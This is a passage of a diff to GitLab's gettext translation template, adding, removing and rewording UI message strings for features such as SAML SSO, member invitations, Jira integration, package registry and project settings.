-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
